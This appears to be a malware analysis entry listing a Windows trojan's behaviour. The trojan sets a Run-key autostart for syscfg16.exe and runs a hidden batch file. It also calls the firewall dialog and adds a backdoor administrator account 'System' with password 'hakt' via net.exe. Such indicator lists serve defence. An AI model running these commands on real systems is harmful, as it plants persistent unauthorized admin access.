Technical Information
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Windows System Configuration' = '%WINDIR%\SYSCFG16.EXE'
- %WINDIR%\syscfg16.exe
- %WINDIR%\temp.bat
- %WINDIR%\syscfg16.exe
- DNS ASK xk#.##unceme.net
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\temp.bat" "' (with hidden window)
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\temp.bat" "
- '%WINDIR%\syswow64\net.exe' user /add System hakt
- '%WINDIR%\syswow64\net1.exe' user /add System hakt
- '%WINDIR%\syswow64\net.exe' localgroup /add Administrators System
- '%WINDIR%\syswow64\net1.exe' localgroup /add Administrators System